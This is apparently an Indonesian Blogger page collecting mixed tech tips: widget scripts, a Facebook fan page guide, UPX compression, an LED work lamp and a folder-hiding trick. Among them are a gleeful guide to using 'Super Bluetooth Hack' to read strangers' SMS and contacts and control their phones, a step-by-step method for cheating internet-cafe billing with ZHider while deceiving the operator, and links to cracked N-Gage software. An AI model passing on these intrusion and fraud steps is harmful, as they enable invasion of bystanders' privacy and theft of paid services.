This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Minggu, 24 April 2011

Cara buat Icon Twitter Terbang Melayang Diblog

Karena Desakan beberapa Teman Blogger di FB yang Minggu ini menayakan terus cara Buat Twitter Terbang Melayang di Blog ,disebabkan Beliau-beliau Melihat Pada Blog saya yang jadi Contoh diatas dan Tertarik Juga Pasang Di Blog Masing-masing.

Memang Membuat Icon Twitter Berterbangan di Blog akan Membuat Blog kita semakin indah dan Aduhai, Tapi disarankan... Jika sudah Terlalu Banyak Widget di Blog sebaiknya Jangan Pasang, Karena akan membuat Blog jadi Berat. Tapi Jika Pernak-Pernik di Blog sobat Tidak Banyak, Tidak apa-apa Dipasang.
twitter melayang

Gooo... Mari Kita Mulai.. Caranya Gampang Banget.. dan Pasti Berhasil
Pertama
Login ke Account Blogger Masing2... " Jangan sampai Pinjem Account Tetangga "

Kedua
Klik + + Pilih

Ketiga
Copy Script Berikut :
<script type="text/javascript" src="http://melayang.googlecode.com/files/Twitterkumpulancara.js"></script>
<script type="text/javascript">
var birdSprite="https://lh4.googleusercontent.com/_M1pYMGMUxt0/TaIJdOSR6lI/AAAAAAAAEeU/CaVfKzCIWwU/s800/twitterblack.png"; var targetElems=new Array("img","hr","table","td","div","input","textarea","button","select","ul","ol","li","h1","h2","h3","h4","p","code","object","a","b","strong","span"); var twitterAccount = "http://twitter.com/renhard06";var tweetThisText = "Twitter - renhard06 http://renhard06.blogspot.com/";tripleflapInit();</script>
Lalu Pastekan Pada Kolom Html yang dibuka Tadi

Keterangan:
Warna Biru = Warna Twitter
Ganti  http://twitter.com/renhard06 dengan Twitter Sobat
Ganti  Twitter - renhard06 dengan Nama Twiter Sobat
Ganti  http://renhard06.blogspot.com/ Dengan BLog Sobat

Keempat 
Silahkan Simpan 

Kelima
Jika Ingin Ganti Warna Burung Sobat Tinggal Ganti Alamat Gambar Warna Biru Diatas Dengan Warna-Warna Pilihan Berikut ini :

twitter black
https://lh4.googleusercontent.com/_M1pYMGMUxt0/TaIJdOSR6lI/AAAAAAAAEeU/CaVfKzCIWwU/s800/twitterblack.png

twitter Yellow
https://lh6.googleusercontent.com/_M1pYMGMUxt0/TaIJ0kOdKNI/AAAAAAAAEec/RgmdHXp7NFs/s800/Twitteryellow.png

twitter white
https://lh5.googleusercontent.com/_M1pYMGMUxt0/TaIKQ76rirI/AAAAAAAAEek/kb9g0adXEYA/s800/twitterwhite.png

twitter red
https://lh4.googleusercontent.com/_M1pYMGMUxt0/TaIKlWlYSVI/AAAAAAAAEes/Vb5gU3RqJ0M/s800/twitterred.png

twitter Purple
https://lh6.googleusercontent.com/_M1pYMGMUxt0/TaIK4M7_HMI/AAAAAAAAEe0/NpWY6pOT-Bk/s800/Twitterpurple.png

twitter Green
https://lh3.googleusercontent.com/_M1pYMGMUxt0/TaILXUyXarI/AAAAAAAAEe8/CpHByPm4uGY/s800/twitterGreen.png

twitter Brown

https://lh4.googleusercontent.com/_M1pYMGMUxt0/TaILpKo91hI/AAAAAAAAEfE/zmN7rgbz8IE/s800/twitterbrown.png

twitter Blue
https://lh4.googleusercontent.com/_M1pYMGMUxt0/TaIMDpcPs0I/AAAAAAAAEfM/g3G5JU-zYSA/s800/TwitterBlue.png

Senin, 18 April 2011

Cara Membuat Halaman Fan Page di Blog Gabung dengan Facebook Admin


Alhamdullillah Akhirnya Bisa buat Postingan Juga di sela-sela kesibukan pekerjaan, setelah lama nyari kesana kemari mancari tutorial Cara Membuat Halaman Fan Page di Blog, banyak sumber yang saya peroleh, tapi hasil kurang memuaskan, karena hanya berisi sederhana, kurang jelas, bahkan saya juga bingung, setiap blog beda-beda cara kerjanya. sebagian ada yang masih memakai Cara Membuat Halaman Fan Page di Blog versi lama, sehingga menimbulkan kebingungan para pencari trick Cara Membuat Halaman Fan Page di Blog. ada juga yang cuma berisi bla..bla. bla.. dan selesai (sampai bingung mana langkah-langkahnya). dengan usaha yan cukup lumayan  semangat agar tampilan Halaman Blog aku bisa memiliki Halaman Fan Page.  akhirnya aku menemukan cara tersendiri dengan mengulang-ulang beberapa kali kesalahan, dan dari kesalahan itu lah akhirnya menukan solusinya. dan dengan berakhirnya pencarian cara serta pembuatan  Halaman Fan Page di Blog, yang di jamin Berhasil jika sobat ikuti langkah-langkah berikut. biarpun langkah-langkahnya cukup panjang, tapi dijamin berhasil, apalagi bagi sobat-sobat yang masih Newbie, pasti kebingungan jika trick ini di jelaskan secara singkat tanpa langkah-langkah yang jelas.
1. Sobat Login dulu ke Facebook Sobat (www.facebook.com)
2. Silahkan Sobat masuk ke http://www.facebook.com/pages/create.php di tab Baru
akan Tampil seperti Gambar di bawah
3. Pilih Kotak Merek atau Produk 
akan tampil seperti gambar di bawah
Pilih Category : Misalkan Situs web
4. Pilih Category yang diiinginkan : Misalkan Situs web
akan tampil seperti gambar di bawah

Pilih Category, Ketik Nama Halaman, Centang Saya menyetujui
Kategory Situs Web sudah dipilih, isikan nama Halaman Fan Page yang sobat ingin buat di bagian kotak Merek atau produk, centang tanada ceklist saya menyetujui, dan klik memulai
5. akan tampil seperti gambar.

Pilih lagi jenis Category yaitu Situs web

Pilih lagi jenis Category yaitu Situs web dan klik Perbaharui Kategory ( seperti gambar di atas)
silahkan sobat setting akunnya dengan mengupload gambar atau pengatuarn lainnya dengan klik sunting halaman, sama seperti pengaturan-pengaturan Facebook biasa, baik itu mengisi Informasi halaman, dll

Ok, kembali ke halaman Home Halaman Fan Page

6. Ini adalah bagian yang terpenting untuk menghubungkan antara Halaman Fan Page dan Web/blog Kita
Copykan Terlebih dahulu alamat URL ID yang tertera di bagian Atas Browser (yang saya beri tanda Kotak merah)
Contoh http://www.facebook.com/pages/Sastra-Blog/159845870743375 (ini adalah Halaman Home Page saya) Sekalian di Like yang Halaman Page Aku
salin Alamat lengkap URL
7. Setelah itu klik tombol Tambahkan Kotak Suka

Klik Tombol Tambahkan Kotak Suka
7. Akan Tampil seperti Ini
akan Tampil seperti ini

8. Setalah Itu Isikan Kotak yang saya Beri tanda kotak merah diatas dengan alamat URL ID yang sobat copykan tadi (misalkan http://www.facebook.com/pages/Sastra-Blog/159845870743375) seperti Gambar di bawah ini
Hilagkan Centangan Show Streem (Untuk menghemat Page) 
Jika tampil seperti ini (ini karena kita Koneksi langsung dengan Facebook Admin Kita):
Klik Kembali ke ***** untuk menggunakan Plugin ini.
Klik Kembali ke ***** untuk menggunakan Plugin ini. maka akan tampil seperti gambar di bawah.
Isikan URL ID Lengkap dari Browser tadi

9. Kemudian Klik  Tombol Get Kode Akan Tampil Seperti Gambar di bawah

Copykan Kode script di bagian Kotak XFBML
Untuk memasang Halaman Fan Page  ke Blog
1. Login ke Blog
2. Design (Rancangan)
3. Pada Bagian Elemen Laman (klik Tambah Gadget ) ---> HTML/JavaScript

4. Pastekan script Fan Page yang di Copy tadi dan Save
5. langkah Atur tempat meletakkan Halaman Fan Page sobat.

Selesai deh pembuatan Halaman Fan Pagenya. semoga Bermanfaat

Tips Memperkecil Ukuran File EXE



Di sistem operasi Windows, sering kita jumpai file yang berekstensi EXE berukuran besar, bisa berukuran lebih dari 5 MB. Kalau Anda ingin mengirimkannya ke teman Anda lewat e-mail, waktu yang dibutuhkan lama untuk upload bisa lama. Kawan Anda pun butuh waktu yang tidak sebentar untuk mengunduhnya. Ada sebuah aplikasi yang bisa mengompres ukuran file EXE menjadi lebih kecil, tapi bukan aplikasi seperti WinRar atau WinZip. Namanya UPX atau Ultimate Packer for eXecutables. Anda bisa mengunduhnya disini. Ukuran paket programnya boleh dibilang kecil—hanya 284KB. Jadi, hanya dibutuhkan sedikit waktu untuk mengunduhnya. 

Selain singkatan dari Ultimate Packer for eXecutables, UPX juga disingkat dari Universal Portable eXtendable. Kata “universal” di situ menandakan bahwa aplikasi ini bersifat umum, bisa digunakan pada 20 format file EXE. Kata “portable” berarti aplikasi ini bisa digunakan tanpa harus diinstal karena ditulis dengan bahasa Portable Endian-Neutral C++. Kata “extendable” berarti mendukung file dengan format EXE dan kompresi algoritma baru.
Kalau Anda sudah mengunduh paket program, ekstrak file tersebut ke sebuah folder. Siapkan file EXE yang ingin dikompres dengan menyalinnya ke folder yang sama dengan aplikasi UPX. Karena aplikasi ini berjalan lewat DOS, jadi Anda harus membuka Command Prompt atau MS-DOS terlebih dahulu.
Caranya klik [Start] > [Run], lalu ketik cmd dan tekan [Enter]. Pada jendela Command Prompt, masuklah ke folder di mana file UPX diekstrak, misalnya folder-nya berada di drive D, ketik d: dan tekan [Enter] kemudian ketik cd diikuti dengan nama folder dan tekan [Enter] lagi. Misalnya cd UPX.
Setelah itu, ketik upx diikuti dengan nama file dan tekan [Enter]. Contoh: upx setup.exe. Tunggu hingga prosesnya selesai. Ketika UPX dicoba mengompres file exe berukuran 8339456KB, hasilnya memuaskan. Hasil kompresi berukuran 3104768 KB—hanya 37,23% dari ukuran file asli.
Kalau Anda ingin mengompres file yang berjumlah lebih dari satu, Anda bisa langsung mengompres semuanya. Caranya ketik upx *.exe atau upx *.dll dan tekan [Enter] untuk memprosesnya. Tapi jangan lupa, letakkan seluruh file yang hendak dikompres di 1 folder, yakni folder UPX.
Tapi, jika file tersebut telah dikompres, akan ada dampak negatif yang dihasilkan, performa file tersebut menjadi berkurang atau menjadi lambat. Untuk menanggulangi masalah tersebut, anda bisa mengestraknya kembali, ketik perintah upx -d diikuti dengan nama file dan tekan [Enter]. Contoh: upx –d setup.exe. Dalam sekejap, file tersebut telah menjadi seperti semula.

Untuk mencegah hal – hal yang tidak diinginkan seperti rusaknya file exe, Anda sebaiknya membuat file backup, caranya ketik upx –k diikuti dengan nama file, kemudian tekan [Enter]. File Anda akan disalin di folder upx dengan ekstensi EX~. Jika Anda ingin menggunakannya lagi, ganti saja ekstensinya menjadi EXE dengan cara rename. 

Cara Membuat Tanggal Otomatis di Blog

Tanggal manual udah bozan ???? Ganti aja dengan Tanggal Otomatis!!!
                        Mau tahu cara merubahnya, ikuti langkah-langkah saya berikut ini:

Langkah - Langkah

  1. Login di Blogger.com
  2. Setelah Login, Log Out (enggak2, becanda),,setelah mzuk ke Dasbor>Rancangan>Tambah Gadgets.
  3. Pada menu Tambah Gadget, pilih bagian HTML/JavaScript Tambah
  4. Pada jendela tersebut, kamu tinggal paste code berikut:
<script language="JavaScript1.2">
<!-- Begin
var months=new Array(13);
months[1]="Januari";
months[2]="Februari";
months[3]="Maret";
months[4]="April";
months[5]="Mei";
months[6]="Juni";
months[7]="Juli";
months[8]="Augustus";
months[9]="September";
months[10]="Oktober";
months[11]="Nopember";
months[12]="Desember";
var time=new Date();
var lmonth=months[time.getMonth() + 1];
var date=time.getDate();
var year=time.getYear();
if (year < 2000) // Y2K Fix, Isaac Powell
year = year + 1900; // http://onyx.idbsu.edu/~ipowell
document.write("<center>" + lmonth + " ");
document.write(date + ", " + year + "</center>");
// End -->
</script>


note: Kamu juga bisa pasang gadget ini di menu "Edit HTML" 

sEMOga BeRHAsiL

Sabtu, 26 Maret 2011

Bikin Lampu Kerja / Ngoprek


Hobby utak-atik / ngoprek sering membutuhkan lampu untuk mendukung aktifitas tersebut. Kebetulan ketika sedang jalan-jalan ke pertokoan elektronik di Bandung, saya menemukan lampu Led berdaya besar, yaitu 10watt! bahkan ada yang berdaya 20watt, 30watt dan 50watt.
Wah.. ga kebayang deh terangnya seperti apa ya..  mengingat Led dengan daya 1watt saja sudah sangat terang. Akhirnya tergoda untuk mencoba membeli Led tersebut.

ini data spesifikasinya:
High-power 600Lm 10W White LED
Lens Color : Water Clear
Emitted Color : white
Power : 10 watt
Intensity Typ. : 600Lm
Viewing Angle : 160°
Forward Voltage : 10-12V
Forward Current : 1000mA
Color Temperature : 6000K-6500K
Untuk yang 20-50watt rasanya tidak bisa begitu saja digunakan di mobil, karena voltase kerja nya sekitar 24-40volt, sementara mobil atau motor hanya bervoltase 12 volt.

Foto di atas, memperlihatkan Led 10Watt dengan Led 50Watt dibandingkan dengan uang logam 200 rupiah
Saya pernah menulis artikel tentang Led Berdaya Besar di sini yang di dalamnya menjelaskan bahwa Led jenis ini memerlukan pengaturan voltase dan arus (ampere) yang teregulasi dengan baik.
Digunakan IC Regulator yaitu LM317T dimana IC ini tidak hanya mengatur besaran Volt yang keluar, tetapi juga bisa digunakan untuk mengatur besaran Arus (ampere) yang keluar.
Jika Led ini diberikan voltase maupun arus yang lebih besar dari spesifikasi di atas, maka Led ini akan cepat putus.
Karena Led ini bervoltase 12Volt, dan Voltase mobil atau motor juga sama 12Volt, maka kita hanya perlu mengatur arus nya saja.
Di Internet bisa kita temukan skema pengatur arus (Current Regulator) yang menggunakan IC LM317T.
http://www.reuk.co.uk/LM317-Current-Calculator.htm
http://diyaudioprojects.com/Technical/Voltage-Regulator/


Besaran arus yang akan saya pakai untuk Led ini adalah sekitar 962mA saja…  kalkulator untuk mendapatkan besaran Resistor untuk skema di atas ada di website pada link tadi. Hasilnya 1.3ohm
Untuk mendapatkan nilai Resistor tersebut, bisa dibuat rangkaian Seri Resistor 1Ohm 2W + 0.3Ohm 2W.

Perakitan dimulai…

Karena komponen hanya sedikit sekali dan sederhana, maka saya putuskan hanya cukup dibungkus HeatShrink saja (selang bakar).


Di bagian ujung saya pasangkan Jack Lighter, supaya dengan mudah bisa dicolok ke Lighter Port yang ada di hampir semua mobil.


Lampu Led saya pasangkan di Magnet bekas Motor FuelPump.
Tujuannya dipasang di magnet, supaya bisa ditempelkan di body mobil saat ngoprek.

Uji Coba…


Kebetulan lagi mau beberes kabel di bawah dashboard…
Wow… mantab!.. benar dugaan saya… 10Watt Led sangatlah terang…

Dan untuk oprek ruang mesin… cahaya putih merata seperti pakai lampu neon besar.

SARAN:

Setelah mencoba menyalakan Led tersebut dalam waktu yang cukup lama,  diperlukan sirip pendingin untuk Led tersebut, karena sangat panas. Saya masih mencari sirip pendingin yang cocok.

Cara Hack Hp Nokia symbian S60 3rd untuk bermain game N-Gage v2

Ingin memainkan game yang berkualitas di hp? Coba saja gunakan N-Gage
2.0 dan mainkan gamenya. Sebenarnya N-gage (N-Gage 2.0) secara resmi
hanya bisa dimainkan oleh beberapa seri HP saja, yaitu N81, N82, dan
N95. Namun dengan sedikit modifikasi dan hack pada ponsel symbian 60
versi 3 atau s60 v3 (E51, N73, 6120 classic dll) ponsel ini dapat
memainkan aplikasi N-Gage 2.0. Saya menggunakan N73,semua aplikasi dan game N-Gage terinstall dan
berjalan dengan lancar.

Tentu saja rata-rata game N-Gage
memiliki kualitas baik audio maupun visual yang lebih baik daripada
game symbian biasa, apalagi game java. Namun hal ini sebanding dengan
ukuran file pada game N-gage yang memiliki ukuran 2 - 30 Mb (rata-rata
sekitar 10Mb). Bandingakan dengan game symbian rata-rata yang memiliki
ukuran file 1-2 Mb, apalagi java yang sangat jarang ditemui game java
berukuran lebih dari 1 Mb (Meskipun besar file bukan ukuran yang
menentukan kualitas game).

Hasil instalasi N-Gage 2.0 pada N73
berjalan dengan lancar. Semua game sudah saya coba, dan untungnya semua
bisa dijalankan tanpa ada masalah (sampai saat ini, karena baru saya
coba belum sempat menyelesaikan semua game). Framerate game N-Gage 2.0
pada hp saya juga sempurna (tidak patah-patah). Sistem bermain game
online dan login pada N-Gage arena juga berjalan dengan baik. Namun
satu masalah yang saya temui yaitu ’saya belum pernah sekalipun bisa
mengupdate profile online pada N-Gage arena’ hal ini dimungkinkan
karena kita memainkan di ponsel yang sebenarnya tidak diperbolehkan
memainkan N-Gage 2.0 oleh si pembuat ponsel (untungnya update profile
tidak terlalu berguna buat saya, toh masih login dan memainkan gamenya
secara online).

Game N-Gage 2.0 favorit saya adalah Hooked On
Creature of the Deep (buatan infinite dreams, ukuran file sebelum
diinstall kurang lebih 30 Mb). Game semi rpg yang memiliki base
permainan memancing. Kualitas grafisnya menurut saya yang terbaik
daripada game ponsel yang lain yang pernah saya mainkan. Kualitas suara
cukup bagus, sayang musik yang dimainkan monoton. Dan yang terpenting
adalah gameplay yang menarik dan unik untuk game ponsel. Game yang saya
sarankan untuk dicoba, bagi anda yang bermain game N-Gage 2.

Spoiler untuk Daftar Hp yang telah dicoba:

Nokia 3250
Nokia 5500
Nokia E50
Nokia E60
Nokia E61
Nokia E61i
Nokia E62
Nokia E65
Nokia E70
Nokia N71
Nokia N73
Nokia N77
Nokia N80
Nokia N91 8GB
Nokia N92
Nokia N93
Nokia N93i
Nokia 5700 XpressMusic
Nokia 6110 Navigator
Nokia 6121 classic
Nokia 6120 classic
Nokia 6124 classic
Nokia 6290
Nokia E51
Nokia E90 Communicator
Nokia N76
Nokia N81
Nokia N81 8GB
Nokia N82
Nokia N95 8GB
Nokia N95
Nokia N95-3 NAM


Bagaimana anda tertarik???

Berikut
akan saya jelaskan bagimana cara menginstall aplikasi N-Gage maupun
gamenya agar dapat dimainkan pada ponsel S60 v3. Jangan takut dengan
banyaknya langkah untuk menginstallnya, Karena sebenarnya instalasi
N-Gage ini cukup mudah.

Tutorial untuk MengHACK:

Spoiler untuk Cara 1:
You
 must click 'Thank You' before you can see the data contained here.
You do not have sufficient rights to see the hidden data contained here.


Spoiler untuk Cara 2:
[HIDE="you must have 20 post"]
You
 must click 'Thank You' before you can see the data contained here.
You do not have sufficient rights to see the hidden data contained here.
[/HIDE]

Tool yang digunakan:
You
 must click 'Thank You' before you can see the data contained here.
You do not have sufficient rights to see the hidden data contained here.


Untuk daftar game yang ada(IDWS) lihat di:http://www.indowebster.web.id/f55/n-...n95-8gb-10009/

Spoiler untuk link mediafire:
You
 must click 'Thank You' before you can see the data contained here.
You do not have sufficient rights to see the hidden data contained here.



Spoiler untuk N-GAGE V 1.20:

Versi Resmi (recomended bagi yg mau pertama kali coba instal ngage):
http://www.ngage.com/ngi/etc/mediali...1.20_1459.sisx
*hanya buat hp yg resmi support ngage yg pake ini,.
(N95 8gb, N95, N81, N82, etc)
buat hp yg skrg udah ada ngage, semua game akan hilang, n musti instal n main lg semua game dari awal,.

-Versi krack (recomended bagi yg mau pertama kali coba instal ngage):
http://www.4shared.com/file/10570720..._DeltaFoX.html

*Semua Hp S60, yg sudah di hack, Selain hp yg resmi support ngage,.
buat hp yg resmi support ngage kalo mau instal yg ini juga boleh
buat hp yg skrg udah ada ngage, semua game akan hilang, n musti instal n main lg semua game dari awal,.

-Only Patch (recomended bagi yg udah ada N bisa Main Ngage Saat ini,.):
http://www.4shared.com/file/10570328..._DeltaFoX.html

*Only Patch, Semua game akan Tetap n gak akan Hilang,.
hanya meng update ngage nya ajah,.
instal-centang pilihan patch nya (yg unpatch jangan di centang)


SecMan v1.1:http://www.4shared.com/file/72348192...SecManv11.html

Enjoy kan...!!!!!!!!!!!!!!!

Merubah PDF Menjadi DOC


Melalui File-PDF 3.0, Anda bisa mengubah format file PDF menjadi format Doc (dokumen). Dengan demikian, isi file tersebut bisa Anda edit melalui bantuan tool pengolah kata, seperti Microsoft Word. 1. Memilih File PDF dan Output-nya Image Pertama-tama, buka tool ini dari menu “Start”. Selanjutnya, klik “Browse” pada bagian “Select File for Convertion” dan pilih file PDF yang hendak dikonversi. Tentukan folder tujuan di bagian “Output Options”. Setelah itu, klik “Convert to Word”. 2. Layout Options Image Di jendela “Layout Options” ini, ada empat format teks yang bisa Anda pilih, yaitu Flowing Text, Formatted Text, Text Only, dan As Is. CHIP memilih Flowing Text supaya hasilnya (format dokumen) tidak berbeda dengan tampilan awal (format PDF). 3. Image Filter Image Setelah Anda mengklik “Next”, Anda akan dibawa pada jendela “Image Filter”. Pilihan “Remove Image” menyebabkan gambar terpisah dari teks (pada file Doc). Sedangkan “Anchoring Image” membuat gambar menyatu dengan teks. 4. Kerapatan Teks Image Dalam jendela selanjutnya, yaitu “Character spacing”, Anda bisa mengubah kerapatan teks. Jika Anda memilih “Yes” kerapatan teks tidak akan berubah. Namun, pilihan “No” membuat kerapatan teks mengikuti setting aplikasi Microsoft Word. 5. Jumlah Halaman yang Dikonversi Image Di jendela “Convertion Range”, Anda bisa menentukan jumlah halaman file PDF yang ingin dikonversi menjadi file dokumen. Namun, jika Anda ingin mengonversi seluruh halaman , Anda cukup memilih “All Pages”. 6. Proses Konversi Image Setelah Anda mengklik “Next” untuk langkah kelima tadi, tool akan menampilkan seluruh setting yang telah Anda pilih. Jika masih ada setting yang terlewatkan, Anda tinggal mengklik “Back”. Namun, jika sudah sesuai keinginan Anda, klik “Finish”. 7. Membuka dengan Microsoft Word Image Setelah proses konversi selesai, Anda bisa langsung membukanya dalam “Microsoft Word”. Anda bisa mengedit teks, mengatur posisi teks, menambah gambar, hingga mengubah susunan halaman . 8. Ekstrak Image Image Tool ini juga bisa mengekstrak image yang ada dalam file PDF. Dari jendela “Select File for Convertions” (langkah 1), Anda klik “Extract Images”. Selanjutnya, Anda pilih format gambar dan folder tujuan, lalu klik “Finish”. download pdf images

Hack Password Windows 7, Vista, XP, Ubuntu atau Fedora

Hack Password Untuk keamanan PC biasanya kita menggunakan password Login, sehingga orang lain tidak bisa masuk komputer kita tanpa mengetahui password tersebut. Tetapi ketika kita lupa password bisa menjadi permasalahan tersendiri, bahkan tidak sedikit yang terpaksa harus meng-install ulang sistem Operasi.
Sebelumnya pernah dibahas mengenai me-reset password windows Xp dengan bootable CD PC Login Now. Saat ini ada alternatif lain yang lebih mudah. PC Login Now memang menyediakan fitur mereset password Windows dengan antarmuka yang sederhana. Tetapi ukuran download sekitar 56 MB, ditambah lagi sekarang tidak disediakan link download di websitenya. Oleh karena itu ada alternatif lain yang lebih mudah dan lebih bag

Hacking Bluetooth tips & Tricks


Huammzz.. Setelah beberapa hari ngikut cyberwar, jenuh juga rasanya hidup gw ini. We win again from Israel in cyberwar.. Uye!! Hehe, akhirnya gw buat sebuah ke isengan lagi. Nyoba nyoba isengin bluetooth orang..

Oke lah semuanya, gak usah banyak basa basi kita lanjut ke tahap selanjutnya..

Pertama loe harus Download dulu softwarenya:

Download Tipe Satu - Bluetooth ( Pass: http://lucifer-doom.blogspot.com/ )

Download Tipe Dua - Harus Register Dulu Klo Mo DL ( Pass: www.dl4all.com )

Berikut ini contoh videonya:

Yang bisa di lakuin klo lu install software itu:

Bisa buka dan baca SMS
Bisa Buka Phone Book
Bisa Ganti Profile
Bisa Maenin RIngtone
Bisa Maenin MP3
Bisa Restart Dan Matiin HP
Bisa Ganti Volume
Bisa Ngeblock Phone
Bisa Pura2 Nelpon Dari HP
Dan lain lainnya ( Ampir semua fasilitas bisa )
------------------------------
Gambar unik Khas Cracker hacker - IndoCracker.wetpaint.com::Belajar Cracking
-------------------------------

Wkwkwkw.. Kan lumayan klo cuma mo iseng2in orang.  Thinking Lucunya klo di HP orang yang punya bluetooth itu ada yang simpen b*k*p.. Wkwkwkwkw.. Lucu abis dah, waktu itu gw ngakak, abis gw maenin film yang itu dari HP orang via bluetoothnya.. Orangnya ampe kaget kaget, mana di kampus lagi.. Hahaha.. ( *Jadi inget waktu itu.. Gyahahaha.. )
Instructions

1.) Klo device dah konek, gunakan 0000 sebagai codenya
2.) Bluetooth harus turned on, sebelum loe jalanin BT application.
3.) Gunain Mozilla Untuk Download Softwarenya. ( Jangan lupa: File aslinya adalah *.jar )

Instalasi pake USB cable ( Sony Ericcson ):
1. Konekin HP ma Computernya.
2. Mount sebagai disk.
3. Drag (SuperBluetoothHack_v108.jar) ke /MSSEMC/Media files/other/ .
4. Disconnekin USB.
5. Lanjut ke Folder “Other” di HP loe.
6. Cari Aplikasinya, Trus “Install”.

Instalasi General ( Super Bluetooth Hack Version )
1. Download
2. Copy ke mobile
3. Jalanin Installernya ( incidentally need JAVA )
4. Klo itu semuanya ada, loe baru bisa jalanin itu software
5. Pilih bahasa dan silakan di configure
6. Click Connection
7. Click Search Devices
8. Pilih the “Victim”
9. And Manage <- Korban telah di victim..

Untuk yang lain juga gak jauh beda, masing masing HP ada kriterianya sendiri. Loe coba cobain dah satu satu klo gak bisa. Soalnya gw gak punya banyak tipe HP.. Wkwkwkwk..

Klo dah ke install, silakan cari mangsa bluetooth HP orang lain yang lagi aktif. Haha.. Jangan Lupa Bluetooth Loe Aktifin dolo sebelum menjalankan aplikasinya.. Oke.. Selamat mencoba.. Semoga loe senang !!!!!!





                                                                                                                    ga
                                                                                                          

Membuat Folder tidak bisa ditembus

Membuat Folder Rahasia Bila, anda memiliki folder pribadi yang rahasia. Tentu, anda tidak ingin folder rahasia anda itu, di buka atau dilihat orang lain. Mungkin, selama ini anda menyimpan folder rahasia anda itu di dalam folder-folder anda yang lain, sehingga tidak mudah ditemukan orang lain.

Atau, anda menghidden file anda sehingga tidak bisa dilihat orang lain.

Tapi, bagaimana kalau orang yang mencari folder rahasia anda itu adalah orang yang rajin? tentu dia akan menemukannya. Dan, Menghidden file juga bukan merupakan hal yang sulit lagi, Sudah hampir semua pengguna komputer tahu, cara untuk menghidden, dan menampilkannya lagi.

Kini, anda tidak perlu khawatir lagi! Karena, disini anda akan belajar bahasa pemograman yang bisa mengubah file anda menjadi yang tidak bisa dibuka oleh orang lain.

Let`s begin!

Langkah-langkah:
1. buka notepad.

2. copy + paste bahasa pemograman (yang berhuruf tebal) di bawah ini ke notepad anda:
ren movies movies.{21EC2020-3AEA-1069-A2DD-08002B30309D}
(ganti movies movies dengan nama folder anda: misal, folder anda bernama “virus”
Hasilnya adalah)
ren virus virus.{21EC2020-3AEA-1069-A2DD-08002B30309D}
save notepad dengan nama loc.bat. sebelum disave, pastikan “save as type”
diubah ke “all files”

---------------------------------------
foto:seriouswheels.com
---------------------------------------

3. buka notepad lagi
copy + paste bahasa pemograman (yang berhuruf tebal) di bawah ini ke notepad anda:
ren movies.{21EC2020-3AEA-1069-A2DD-08002B30309D} movies
(ganti movies dengan nama folder anda: misal, folder anda bernama “virus”
Hasilnya adalah)
ren virus.{21EC2020-3AEA-1069-A2DD-08002B30309D} virus
save notepad dengan nama key.bat. sebelum disave, pastikan “save as type”
diubah ke “all files”

4. Ingat! folder rahasia anda harus berada di satu tempat dengan loc.bat, dan key.bat
yang sudah anda buat tadi. Contoh:



5. Coba Klik ”Loc”
Maka folder ”virus” akan berubah menjadi:

bila ada orang yang masuk ke folder virus, maka orang tersebut akan masuk ke
control panel, dan tidak akan pernah bisa masuk ke folder ”virus” yang sebenarnya.

6. untuk mengembalikan folder ”virus” tersebut: tinggal klik ”key”.

Untuk berjaga-jaga agar folder anda tidak bisa dibuka orang:
1. setelah merubah file, simpan key di folder lain. jika ingin merubah seperti semula
folder yang sudah dirubah tadi, tinggal menyatukan kembali key dan folder di satu
tempat.

2. atau, anda juga bisa mendelete key. jadi tidak ada cara untuk membuka file yang sudah
dirubah tadi. Bila ingin mengembalikan folder ke semula. Tinggal buat program
dengan notepad lagi.

Mencurangi Semua Jenis Billing Warnet

Cara ini berlaku untuk segala versi billing explorer dan kebanyakan aplikasi billing lainnya. Dan merupakan kelemahan semua billing warnet yang berbasis windows!!!


ini dia caranya ...
Saat kita mulai menyalakan komputer di warnet yang pertama muncul saat windows dimulai adalah login screen client billing yang menutupi seluruh area windows. Fungsi Alt+Tab dan Ctrl+Alt+Del biasanya ikut-ikutan di-disable untuk memaksa kita login melalui program billing itu.
Sebenarnya saat kita menghadapi login screen itu komputer sudah siap dijalankan. Hanya terhalang oleh screen login yang menyebalkan itu. Naah... udah tau apa yang bakal saya jelasin ? Kalo udah tau, brenti aja bacanya. Daripada mati kebosanan

Yess..!!!!! betul sekali. Yang perlu kita lakukan hanyalah menyembunyikan jendela login itu tanpa perlu login. Ada banyak progie buat nyembunyiin window, salah satunya ZHider. Saya hanya akan menjelaskan penggunaan ZHider. Bagi yang menggunakan progie laen silakan baca manualnya, tapi yang perlu diperhatikan adalah progie yang anda gunakan harus bisa show/hide window pake hotkey coz windows kita kan ditutupi sama login screen sialan itu.

Yang harus disiapkan:
1. Program ZHider. Cari sendiri pake om google. Ukurannya kecil kok, ga sampe setengah isi disket.
Aku nemunya pas smp tapi baru sekarang kepake ^^
2. Muka bego
3. Mental yang kuat

Langkah-langkahnya:

01. Masuk warnet dan pasang muka bego biar ga dicurigai operator
02. Pastikan selain box/bilik yang kita tempati masih ada box lain yang kosong. Biar ga dicurigai juga sih.
03. Usahakan cari tempat yang jauh dari op, supaya ga ketahuan box kamu kosong apa nggak.
04. Nyalakan kompi dihadapan anda bila masih dalam keadaan mati.
05. Saat masuk login screen, login aja seperti biasa.
06. Jalankan ZHider yang sudah disiapkan di disket/flashdisk. Kalo belom ada, cari aja pake google.
07. Setelah ZHider dijalankan langsung aja logout.
08. Naah, di login screen ini kita mulai aksi mendebarkan kita. Tekan Ctrl+Alt+Z.. Jreeeng, login screen telah menghilang !!!
09. Browsinglah sepuasnya, tapi tetap pastikan ada box lain yang kosong. Kan aneh kalau ada yang masuk warnet, dia lihat udah penuh. Padahal di billing server kelihatan masih ada yang belum login.
10. Kalo sudah puass tekan Ctrl+Alt+x untuk memunculkan kembali login screen yang menghilang entah kemana
11. Login seperti biasa dan browsing beberapa menit sampai penunjuk tarif sampai ke angka yang kita kehendaki. Ini supaya ga dicurigai.
12. Logout. SIapkan muka bego, lalu bayar tarif.

Cara ini lebih mudah dilalukan bila si operator ga terlalu kenal sama kamu. Apalagi bila si op sering keluyuran.

Ini beberapa hotkey ZHider yang bisa digunakan, untuk hotkey lainnya silakan baca file readme yang disertakan bersama zhider

CTRL+ALT+Z Menyembunyikan jendela aktif
